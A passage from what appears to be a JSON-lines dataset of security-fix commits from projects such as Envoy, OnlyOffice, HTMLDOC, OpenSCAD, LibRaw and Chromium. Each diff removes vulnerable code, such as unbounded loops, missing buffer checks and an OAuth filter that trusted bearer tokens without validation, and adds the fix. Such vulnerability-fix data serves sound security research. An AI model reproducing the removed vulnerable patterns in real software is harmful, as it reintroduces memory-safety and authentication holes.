EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n+ filter_->decodeHeaders(mock_request_headers, false));\n+\n+ // Ensure that existing OAuth forwarded headers got sanitized.\n+ EXPECT_EQ(mock_request_headers, expected_headers);\n+\n+ EXPECT_EQ(scope_.counterFromString(\"test.oauth_failure\").value(), 0);\n+ EXPECT_EQ(scope_.counterFromString(\"test.oauth_success\").value(), 1);\n+}\n+\n /**\n * Scenario: The OAuth filter receives a request without valid OAuth cookies to a non-callback URL\n * (indicating that the user needs to re-validate cookies or get 401'd).\n", "related": false}, {"section": "@@ -790,63 +834,41 @@ TEST_F(OAuth2Test, OAuthTestFullFlowPostWithParameters) {\n \n EXPECT_CALL(decoder_callbacks_,\n encodeHeaders_(HeaderMapEqualRef(&second_response_headers), true));\n- EXPECT_CALL(decoder_callbacks_, continueDecoding());\n \n filter_->finishFlow();\n }\n \n TEST_F(OAuth2Test, OAuthBearerTokenFlowFromHeader) {\n- Http::TestRequestHeaderMapImpl request_headers_before{\n- {Http::Headers::get().Path.get(), \"/test?role=bearer\"},\n- {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n- {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n- {Http::Headers::get().Scheme.get(), \"https\"},\n- {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-header-token\"},\n- };\n- // Expected decoded headers after the callback & validation of the bearer token is complete.\n- Http::TestRequestHeaderMapImpl request_headers_after{\n+ Http::TestRequestHeaderMapImpl request_headers{\n {Http::Headers::get().Path.get(), \"/test?role=bearer\"},\n {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n {Http::Headers::get().Scheme.get(), \"https\"},\n {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-header-token\"},\n };\n \n- // Fail the validation to trigger the OAuth flow.\n+ // Fail the validation.\n EXPECT_CALL(*validator_, setParams(_, _));\n EXPECT_CALL(*validator_, isValid()).WillOnce(Return(false));\n \n- EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n- filter_->decodeHeaders(request_headers_before, false));\n-\n- // Finally, expect that the header map had OAuth information appended to it.\n- EXPECT_EQ(request_headers_before, request_headers_after);\n+ EXPECT_EQ(Http::FilterHeadersStatus::StopIteration,\n+ filter_->decodeHeaders(request_headers, false));\n }\n \n TEST_F(OAuth2Test, OAuthBearerTokenFlowFromQueryParameters) {\n- Http::TestRequestHeaderMapImpl request_headers_before{\n- {Http::Headers::get().Path.get(), \"/test?role=bearer&token=xyz-queryparam-token\"},\n- {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n- {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n- {Http::Headers::get().Scheme.get(), \"https\"},\n- };\n- Http::TestRequestHeaderMapImpl request_headers_after{\n+ Http::TestRequestHeaderMapImpl request_headers{\n {Http::Headers::get().Path.get(), \"/test?role=bearer&token=xyz-queryparam-token\"},\n {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n {Http::Headers::get().Scheme.get(), \"https\"},\n- {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-queryparam-token\"},\n };\n \n- // Fail the validation to trigger the OAuth flow.\n+ // Fail the validation.\n EXPECT_CALL(*validator_, setParams(_, _));\n EXPECT_CALL(*validator_, isValid()).WillOnce(Return(false));\n \n- EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n- filter_->decodeHeaders(request_headers_before, false));\n-\n- // Expected decoded headers after the callback & validation of the bearer token is complete.\n- EXPECT_EQ(request_headers_before, request_headers_after);\n+ EXPECT_EQ(Http::FilterHeadersStatus::StopIteration,\n+ filter_->decodeHeaders(request_headers, false));\n }\n \n } // namespace Oauth2", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/extensions/filters/http/oauth2/oauth_client.cc", "commit_id": "7ffda4e809dec74449ebc330cebb9d2f4ab61360", "commit_message": "oauth2: do not blindly accept requests with a token in the Authorization headera (781)\n\nThe logic was broken because it assumed an additional call would be\nperformed to the auth server, which isn't the case. Per the filter\ndocumentation, a request is only considered subsequently authenticated\nif there's valid cookie that was set after the access token was received\nfrom the auth server:\n\nhttps://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/oauth2_filter\n\nMore info about how to validate an access token (which we don't do, per\nabove):\n\nhttps://www.oauth.com/oauth2-servers/token-introspection-endpoint/\nhttps://datatracker.ietf.org/doc/html/rfc7662\n\nAlso fix the fact that ee shouldn't be calling continueDecoding() after\ndecoder_callbacks_->encodeHeaders().\n\nSigned-off-by: Raul Gutierrez Segales \nSigned-off-by: Matt Klein \nSigned-off-by: Pradeep Rao ", "patch": "@@ -21,9 +21,6 @@ namespace HttpFilters {\n namespace Oauth2 {\n \n namespace {\n-Http::RegisterCustomInlineHeader\n- authorization_handle(Http::CustomHeaders::get().Authorization);\n-\n constexpr const char* GetAccessTokenBodyFormatString =\n \"grant_type=authorization_code&code={0}&client_id={1}&client_secret={2}&redirect_uri={3}\";\n ", "sections": [{"section": "@@ -21,9 +21,6 @@ namespace HttpFilters {\n namespace Oauth2 {\n \n namespace {\n-Http::RegisterCustomInlineHeader\n- authorization_handle(Http::CustomHeaders::get().Authorization);\n-\n constexpr const char* GetAccessTokenBodyFormatString =\n \"grant_type=authorization_code&code={0}&client_id={1}&client_secret={2}&redirect_uri={3}\";\n ", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/extensions/compression/brotli/decompressor/brotli_decompressor_impl_test.cc", "commit_id": "cb4ef0b09200c720dfdb07e097092dd105450343", "commit_message": "decompressors: stop decompressing upon excessive compression ratio (#733)\n\nSigned-off-by: Dmitry Rozhkov \nCo-authored-by: Ryan Hamilton \nSigned-off-by: Matt Klein \nSigned-off-by: Pradeep Rao ", "patch": "@@ -25,6 +25,32 @@ class BrotliDecompressorImplTest : public testing::Test {\n static constexpr uint32_t default_input_size{796};\n };\n \n+// Detect excessive compression ratio by compressing a long whitespace string\n+// into a very small chunk of data and decompressing it again.\n+TEST_F(BrotliDecompressorImplTest, DetectExcessiveCompressionRatio) {\n+ const absl::string_view ten_whitespaces = \" \";\n+ Brotli::Compressor::BrotliCompressorImpl compressor{\n+ default_quality,\n+ default_window_bits,\n+ default_input_block_bits,\n+ false,\n+ Brotli::Compressor::BrotliCompressorImpl::EncoderMode::Default,\n+ 4096};\n+ Buffer::OwnedImpl buffer;\n+\n+ for (int i = 0; i < 1000; i++) {\n+ buffer.add(ten_whitespaces);\n+ }\n+\n+ compressor.compress(buffer, Envoy::Compression::Compressor::State::Finish);\n+\n+ Buffer::OwnedImpl output_buffer;\n+ Stats::IsolatedStoreImpl stats_store{};\n+ BrotliDecompressorImpl decompressor{stats_store, \"test.\", 16, false};\n+ decompressor.decompress(buffer, output_buffer);\n+ EXPECT_EQ(1, stats_store.counterFromString(\"test.brotli_error\").value());\n+}\n+\n // Exercises compression and decompression by compressing some data, decompressing it and then\n // comparing compressor's input/checksum with decompressor's output/checksum.\n TEST_F(BrotliDecompressorImplTest, CompressAndDecompress) {", "sections": [{"section": "@@ -25,6 +25,32 @@ class BrotliDecompressorImplTest : public testing::Test {\n static constexpr uint32_t default_input_size{796};\n };\n \n+// Detect excessive compression ratio by compressing a long whitespace string\n+// into a very small chunk of data and decompressing it again.\n+TEST_F(BrotliDecompressorImplTest, DetectExcessiveCompressionRatio) {\n+ const absl::string_view ten_whitespaces = \" \";\n+ Brotli::Compressor::BrotliCompressorImpl compressor{\n+ default_quality,\n+ default_window_bits,\n+ default_input_block_bits,\n+ false,\n+ Brotli::Compressor::BrotliCompressorImpl::EncoderMode::Default,\n+ 4096};\n+ Buffer::OwnedImpl buffer;\n+\n+ for (int i = 0; i < 1000; i++) {\n+ buffer.add(ten_whitespaces);\n+ }\n+\n+ compressor.compress(buffer, Envoy::Compression::Compressor::State::Finish);\n+\n+ Buffer::OwnedImpl output_buffer;\n+ Stats::IsolatedStoreImpl stats_store{};\n+ BrotliDecompressorImpl decompressor{stats_store, \"test.\", 16, false};\n+ decompressor.decompress(buffer, output_buffer);\n+ EXPECT_EQ(1, stats_store.counterFromString(\"test.brotli_error\").value());\n+}\n+\n // Exercises compression and decompression by compressing some data, decompressing it and then\n // comparing compressor's input/checksum with decompressor's output/checksum.\n TEST_F(BrotliDecompressorImplTest, CompressAndDecompress) {", "related": false}]} +{"owner": "onlyoffice", "repo": "core", "language": "C++", "file_name": "DesktopEditor/fontengine/fontconverter/FontFileType1.cpp", "commit_id": "b17d5e860f30e8be2caeb0022b63be4c76660178", "commit_message": "Fix 34, 35, 37", "patch": "@@ -397,6 +397,7 @@ namespace NSFontConverter\n char nChar = *pTemp;\n *pTemp = '\\0';\n nCode = atoi( pCur );\n+\t\t\t\t\t\t\tif (nCode < 0) nCode = 0;\t\t\t\t\t\t\t\t\n *pTemp = nChar;\n if ( nCode == 8 && *pTemp == '#')\n {\n@@ -612,7 +613,7 @@ namespace NSFontConverter\n sToken.clear();\n sGlyph.clear();\n \n- while ( ( nChar = sEexec[++nIndex] ) != ' ' )\n+ while ( nIndex < nEexecLen && ( nChar = sEexec[++nIndex] ) != ' ' )\n sGlyph.push_back( (wchar_t)nChar );\n }\n }\n@@ -656,7 +657,7 @@ namespace NSFontConverter\n int nChar = 0;\n \n unsigned char *sBuffer = NULL;\n- int nBufLen = 0;\n+ unsigned int nBufLen = 0;\n \n while ( nBlockType != PFB_DONE )\n {", "sections": [{"section": "@@ -397,6 +397,7 @@ namespace NSFontConverter\n char nChar = *pTemp;\n *pTemp = '\\0';\n nCode = atoi( pCur );\n+\t\t\t\t\t\t\tif (nCode < 0) nCode = 0;\t\t\t\t\t\t\t\t\n *pTemp = nChar;\n if ( nCode == 8 && *pTemp == '#')\n {\n", "related": false}, {"section": "@@ -612,7 +613,7 @@ namespace NSFontConverter\n sToken.clear();\n sGlyph.clear();\n \n- while ( ( nChar = sEexec[++nIndex] ) != ' ' )\n+ while ( nIndex < nEexecLen && ( nChar = sEexec[++nIndex] ) != ' ' )\n sGlyph.push_back( (wchar_t)nChar );\n }\n }\n", "related": false}, {"section": "@@ -656,7 +657,7 @@ namespace NSFontConverter\n int nChar = 0;\n \n unsigned char *sBuffer = NULL;\n- int nBufLen = 0;\n+ unsigned int nBufLen = 0;\n \n while ( nBlockType != PFB_DONE )\n {", "related": false}]} +{"owner": "onlyoffice", "repo": "core", "language": "C", "file_name": "DesktopEditor/cximage/CxImage/xiofile.h", "commit_id": "88cf60a3ed4a2b40d71a1c2ced72fa3902a30967", "commit_message": "Fix 25 errors", "patch": "@@ -59,9 +59,10 @@ class DLL_EXP CxIOFile : public CxFile\n \t\treturn (bool)(iErr==0);\r\n \t}\r\n //////////////////////////////////////////////////////////\r\n-\tvirtual size_t\tRead(void *buffer, size_t size, size_t count)\r\n+\tvirtual size_t\tRead(void *buffer, size_t size, size_t count, void* limit_start = NULL, void* limit_end = NULL)\r\n \t{\r\n \t\tif (!m_fp) return 0;\r\n+\t\tclamp_buffer(buffer, size, limit_start, limit_end);\r\n \t\treturn fread(buffer, size, count, m_fp);\r\n \t}\r\n //////////////////////////////////////////////////////////\r", "sections": [{"section": "@@ -59,9 +59,10 @@ class DLL_EXP CxIOFile : public CxFile\n \t\treturn (bool)(iErr==0);\r\n \t}\r\n //////////////////////////////////////////////////////////\r\n-\tvirtual size_t\tRead(void *buffer, size_t size, size_t count)\r\n+\tvirtual size_t\tRead(void *buffer, size_t size, size_t count, void* limit_start = NULL, void* limit_end = NULL)\r\n \t{\r\n \t\tif (!m_fp) return 0;\r\n+\t\tclamp_buffer(buffer, size, limit_start, limit_end);\r\n \t\treturn fread(buffer, size, count, m_fp);\r\n \t}\r\n //////////////////////////////////////////////////////////\r", "related": false}]} +{"owner": "michaelrsweet", "repo": "htmldoc", "language": "C++", "file_name": "htmldoc/html.cxx", "commit_id": "ee778252faebb721afba5a081dd6ad7eaf20eef3", "commit_message": "Fix a crash bug with bogus text (Issue #426)", "patch": "@@ -1,7 +1,7 @@\n /*\n * HTML exporting functions for HTMLDOC, a HTML document processing program.\n *\n- * Copyright 2011-2019 by Michael R Sweet.\n+ * Copyright 2011-2021 by Michael R Sweet.\n * Copyright 1997-2010 by Easy Software Products. All rights reserved.\n *\n * This program is free software. Distribution and use rights are outlined in\n@@ -585,7 +585,7 @@ write_node(FILE *out,\t\t/* I - Output file */\n for (ptr = t->data; *ptr; ptr ++)\n fputs((char *)iso8859(*ptr), out);\n \n-\t if (t->data[strlen((char *)t->data) - 1] == '\\n')\n+\t if (t->data[0] && t->data[strlen((char *)t->data) - 1] == '\\n')\n col = 0;\n \t else\n col += strlen((char *)t->data);", "sections": [{"section": "@@ -1,7 +1,7 @@\n /*\n * HTML exporting functions for HTMLDOC, a HTML document processing program.\n *\n- * Copyright 2011-2019 by Michael R Sweet.\n+ * Copyright 2011-2021 by Michael R Sweet.\n * Copyright 1997-2010 by Easy Software Products. All rights reserved.\n *\n * This program is free software. Distribution and use rights are outlined in\n", "related": false}, {"section": "@@ -585,7 +585,7 @@ write_node(FILE *out,\t\t/* I - Output file */\n for (ptr = t->data; *ptr; ptr ++)\n fputs((char *)iso8859(*ptr), out);\n \n-\t if (t->data[strlen((char *)t->data) - 1] == '\\n')\n+\t if (t->data[0] && t->data[strlen((char *)t->data) - 1] == '\\n')\n col = 0;\n \t else\n col += strlen((char *)t->data);", "related": false}]} +{"owner": "openscad", "repo": "openscad", "language": "C++", "file_name": "src/comment.cpp", "commit_id": "84addf3c1efbd51d8ff424b7da276400bbfa1a4b", "commit_message": "CVE-2022-0497 Out-of-bounds memory access in comment parser.\n\nPublic issue:\nhttps://github.com/openscad/openscad/issues/4043\n\nFix in master branch:\nhttps://github.com/openscad/openscad/pull/4044", "patch": "@@ -92,7 +92,7 @@ static std::string getComment(const std::string &fulltext, int line)\n \t}\n \n \tint end = start + 1;\n-\twhile (fulltext[end] != '\\n') end++;\n+\twhile (end < fulltext.size() && fulltext[end] != '\\n') end++;\n \n \tstd::string comment = fulltext.substr(start, end - start);\n ", "sections": [{"section": "@@ -92,7 +92,7 @@ static std::string getComment(const std::string &fulltext, int line)\n \t}\n \n \tint end = start + 1;\n-\twhile (fulltext[end] != '\\n') end++;\n+\twhile (end < fulltext.size() && fulltext[end] != '\\n') end++;\n \n \tstd::string comment = fulltext.substr(start, end - start);\n ", "related": false}]} +{"owner": "mistertea", "repo": "eternalterminal", "language": "C++", "file_name": "src/base/LogHandler.cpp", "commit_id": "900348bb8bc96e1c7ba4888ac8480f643c43d3c3", "commit_message": "red fixes (#468)\n\n* red fixes\r\n\r\n* remove magic number", "patch": "@@ -48,6 +48,10 @@ string LogHandler::stderrToFile(const string &pathPrefix) {\n string current_time(buffer);\n string stderrFilename = pathPrefix + \"_stderr_\" + current_time;\n FILE *stderr_stream = freopen(stderrFilename.c_str(), \"w\", stderr);\n+ fs::permissions(\n+ stderrFilename,\n+ fs::perms::owner_read | fs::perms::owner_write | fs::perms::group_read,\n+ fs::perm_options::replace);\n if (!stderr_stream) {\n STFATAL << \"Invalid filename \" << stderrFilename;\n }", "sections": [{"section": "@@ -48,6 +48,10 @@ string LogHandler::stderrToFile(const string &pathPrefix) {\n string current_time(buffer);\n string stderrFilename = pathPrefix + \"_stderr_\" + current_time;\n FILE *stderr_stream = freopen(stderrFilename.c_str(), \"w\", stderr);\n+ fs::permissions(\n+ stderrFilename,\n+ fs::perms::owner_read | fs::perms::owner_write | fs::perms::group_read,\n+ fs::perm_options::replace);\n if (!stderr_stream) {\n STFATAL << \"Invalid filename \" << stderrFilename;\n }", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "content/browser/dom_storage/dom_storage_context_wrapper.h", "commit_id": "ba169c14aa9cc2efd708a878ae21ff34f3898fe0", "commit_message": "Fixing BadMessageCallback usage by SessionStorage\n\nTBR: jam@chromium.org\nBug: 916523\nChange-Id: I027cc818cfba917906844ad2ec0edd7fa4761bd1\nReviewed-on: https://chromium-review.googlesource.com/c/1401604\nCommit-Queue: Daniel Murphy \nReviewed-by: Marijn Kruisselbrink \nReviewed-by: Ken Rockot \nCr-Commit-Position: refs/heads/master@{#621772}", "patch": "@@ -48,12 +48,19 @@ class CONTENT_EXPORT DOMStorageContextWrapper\n public base::RefCountedThreadSafe {\n public:\n // If |data_path| is empty, nothing will be saved to disk.\n- DOMStorageContextWrapper(\n+ static scoped_refptr Create(\n service_manager::Connector* connector,\n- const base::FilePath& data_path,\n+ const base::FilePath& profile_path,\n const base::FilePath& local_partition_path,\n storage::SpecialStoragePolicy* special_storage_policy);\n \n+ DOMStorageContextWrapper(\n+ base::FilePath legacy_local_storage_path,\n+ scoped_refptr context_impl,\n+ scoped_refptr mojo_task_runner,\n+ LocalStorageContextMojo* mojo_local_storage_context,\n+ SessionStorageContextMojo* mojo_session_storage_context);\n+\n // DOMStorageContext implementation.\n void GetLocalStorageUsage(GetLocalStorageUsageCallback callback) override;\n void GetSessionStorageUsage(GetSessionStorageUsageCallback callback) override;", "sections": [{"section": "@@ -48,12 +48,19 @@ class CONTENT_EXPORT DOMStorageContextWrapper\n public base::RefCountedThreadSafe {\n public:\n // If |data_path| is empty, nothing will be saved to disk.\n- DOMStorageContextWrapper(\n+ static scoped_refptr Create(\n service_manager::Connector* connector,\n- const base::FilePath& data_path,\n+ const base::FilePath& profile_path,\n const base::FilePath& local_partition_path,\n storage::SpecialStoragePolicy* special_storage_policy);\n \n+ DOMStorageContextWrapper(\n+ base::FilePath legacy_local_storage_path,\n+ scoped_refptr context_impl,\n+ scoped_refptr mojo_task_runner,\n+ LocalStorageContextMojo* mojo_local_storage_context,\n+ SessionStorageContextMojo* mojo_session_storage_context);\n+\n // DOMStorageContext implementation.\n void GetLocalStorageUsage(GetLocalStorageUsageCallback callback) override;\n void GetSessionStorageUsage(GetSessionStorageUsageCallback callback) override;", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C++", "file_name": "src/metadata/sony.cpp", "commit_id": "c243f4539233053466c1309bde606815351bee81", "commit_message": "additional checks in parseSonySRF\n\nparseSonySR2: buffer size check", "patch": "@@ -1799,6 +1799,14 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n float num;\n int i;\n int WBCTC_count;\n+#define CHECKBUFFER_N(offset,N) \\\n+ do \\\n+ { \\\n+ if ((((offset) + (N)) > SR2SubIFDLength) || ((offset) < 0)) \\\n+ return;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n+ } while (0)\n+\n+ CHECKBUFFER_N(0, 2);\n entries = sget2(cbuf_SR2);\n if (entries > 1000)\n return;\n@@ -1812,43 +1820,52 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n if (dng_writer == nonDNG) {\n switch (tag_id) {\n case 0x7300:\n- FORC4 cblack[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4,0);\n+\t\t\tFORC4 cblack[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x7303:\n- FORC4 cam_mul[GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cam_mul[GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x7310:\n- FORC4 cblack[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cblack[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n i = cblack[3];\n FORC3 if (i > cblack[c]) i = cblack[c];\n FORC4 cblack[c] -= i;\n black = i;\n TagProcessed = 1;\n break;\n case 0x7313:\n- FORC4 cam_mul[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cam_mul[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x74a0:\n- ilm.MaxAp4MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxAp4MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a1:\n- ilm.MaxAp4MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxAp4MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a2:\n- ilm.MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a3:\n- ilm.MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x7800:\n- for (i = 0; i < 3; i++)\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 8, 2);\n+\t\t for (i = 0; i < 3; i++)\n {\n num = 0.0;\n for (c = 0; c < 3; c++)\n@@ -1865,12 +1882,14 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n case 0x787f:\n if (tag_datalen == 3)\n {\n- FORC3 imgdata.color.linear_max[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 imgdata.color.linear_max[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n imgdata.color.linear_max[3] = imgdata.color.linear_max[1];\n }\n else if (tag_datalen == 1)\n {\n- imgdata.color.linear_max[0] = imgdata.color.linear_max[1] =\n+\t\t\t CHECKBUFFER_N(tag_dataoffset, 2);\n+\t\t\t imgdata.color.linear_max[0] = imgdata.color.linear_max[1] =\n imgdata.color.linear_max[2] = imgdata.color.linear_max[3] =\n sget2(cbuf_SR2 + tag_dataoffset);\n }\n@@ -1884,37 +1903,44 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n i = tag_id - 0x7480;\n if (Sony_SR2_wb_list[i] > 255) {\n icWBCCTC[WBCTC_count][0] = Sony_SR2_wb_list[i];\n- FORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\tFORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBCCTC[WBCTC_count][4] = icWBCCTC[WBCTC_count][2];\n WBCTC_count++;\n } else {\n- FORC3 icWBC[Sony_SR2_wb_list[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 icWBC[Sony_SR2_wb_list[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBC[Sony_SR2_wb_list[i]][3] = icWBC[Sony_SR2_wb_list[i]][1];\n }\n } else if ((tag_id >= 0x7820) && (tag_id <= 0x782d)) {\n i = tag_id - 0x7820;\n if (Sony_SR2_wb_list1[i] > 255) {\n icWBCCTC[WBCTC_count][0] = Sony_SR2_wb_list1[i];\n- FORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\tFORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBCCTC[WBCTC_count][4] = icWBCCTC[WBCTC_count][2];\n if (Sony_SR2_wb_list1[i] == 3200) {\n FORC3 icWBC[LIBRAW_WBI_StudioTungsten][c] = icWBCCTC[WBCTC_count][c + 1];\n icWBC[LIBRAW_WBI_StudioTungsten][3] = icWBC[LIBRAW_WBI_StudioTungsten][1];\n }\n WBCTC_count++;\n } else {\n- FORC3 icWBC[Sony_SR2_wb_list1[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 icWBC[Sony_SR2_wb_list1[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBC[Sony_SR2_wb_list1[i]][3] = icWBC[Sony_SR2_wb_list1[i]][1];\n }\n } else if (tag_id == 0x7302) {\n- FORC4 icWBC[LIBRAW_WBI_Auto][GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 3, 2);\n+\t\t\tFORC4 icWBC[LIBRAW_WBI_Auto][GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n } else if (tag_id == 0x7312) {\n- FORC4 icWBC[LIBRAW_WBI_Auto][RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 3, 2);\n+\t\t\tFORC4 icWBC[LIBRAW_WBI_Auto][RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n }\n }\n }\n }\n }\n+#undef CHECKBUFFER_N\n \n void LibRaw::parseSonySRF(unsigned len)\n {\n@@ -1935,10 +1961,10 @@ void LibRaw::parseSonySRF(unsigned len)\n INT64 srf_offset, tag_offset, tag_data, tag_dataoffset;\n int tag_dataunitlen;\n uchar *srf_buf;\n- short entries;\n+ ushort entries;\n unsigned tag_id, tag_type, tag_datalen;\n \n- srf_buf = (uchar *)malloc(len);\n+ srf_buf = (uchar *)malloc(len+64);\n fread(srf_buf, len, 1, ifp);\n \n offset += srf_buf[offset] << 2;\n@@ -1995,9 +2021,11 @@ void LibRaw::parseSonySRF(unsigned len)\n &tag_offset, &tag_id, &tag_type, &tag_dataoffset,\n &tag_datalen, &tag_dataunitlen) == 0) {\n if (tag_id == 0x0000) {\n- SRF2Key = sget4(srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t SRF2Key = sget4(srf_buf + tag_dataoffset);\n } else if (tag_id == 0x0001) {\n- RawDataKey = sget4(srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t RawDataKey = sget4(srf_buf + tag_dataoffset);\n }\n } else goto restore_after_parseSonySRF;\n }\n@@ -2019,20 +2047,22 @@ void LibRaw::parseSonySRF(unsigned len)\n tag_offset = offset;\n \n while (entries--) {\n- if (tiff_sget (save, srf_buf, len,\n+\t if (tiff_sget(save, srf_buf, len,\n &tag_offset, &tag_id, &tag_type, &tag_dataoffset,\n &tag_datalen, &tag_dataunitlen) == 0) {\n if ((tag_id >= 0x00c0) && (tag_id <= 0x00ce)) {\n i = (tag_id - 0x00c0) % 3;\n nWB = (tag_id - 0x00c0) / 3;\n- icWBC[Sony_SRF_wb_list[nWB]][i] = sget4(srf_buf + tag_dataoffset);\n+\t\tCHECKBUFFER_SGET4(tag_dataoffset);\n+\t\ticWBC[Sony_SRF_wb_list[nWB]][i] = sget4(srf_buf + tag_dataoffset);\n if (i == 1) {\n icWBC[Sony_SRF_wb_list[nWB]][3] =\n icWBC[Sony_SRF_wb_list[nWB]][i];\n }\n } else if ((tag_id >= 0x00d0) && (tag_id <= 0x00d2)) {\n i = (tag_id - 0x00d0) % 3;\n- cam_mul[i] = sget4(srf_buf + tag_dataoffset);\n+\t\tCHECKBUFFER_SGET4(tag_dataoffset);\n+\t\tcam_mul[i] = sget4(srf_buf + tag_dataoffset);\n if (i == 1) {\n cam_mul[3] = cam_mul[i];\n }\n@@ -2044,16 +2074,20 @@ void LibRaw::parseSonySRF(unsigned len)\n 0x0005 RawDataLength\n */\n case 0x0043:\n- ilm.MaxAp4MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset); // need to add extra space\n+\t\t ilm.MaxAp4MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0044:\n- ilm.MaxAp4MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t 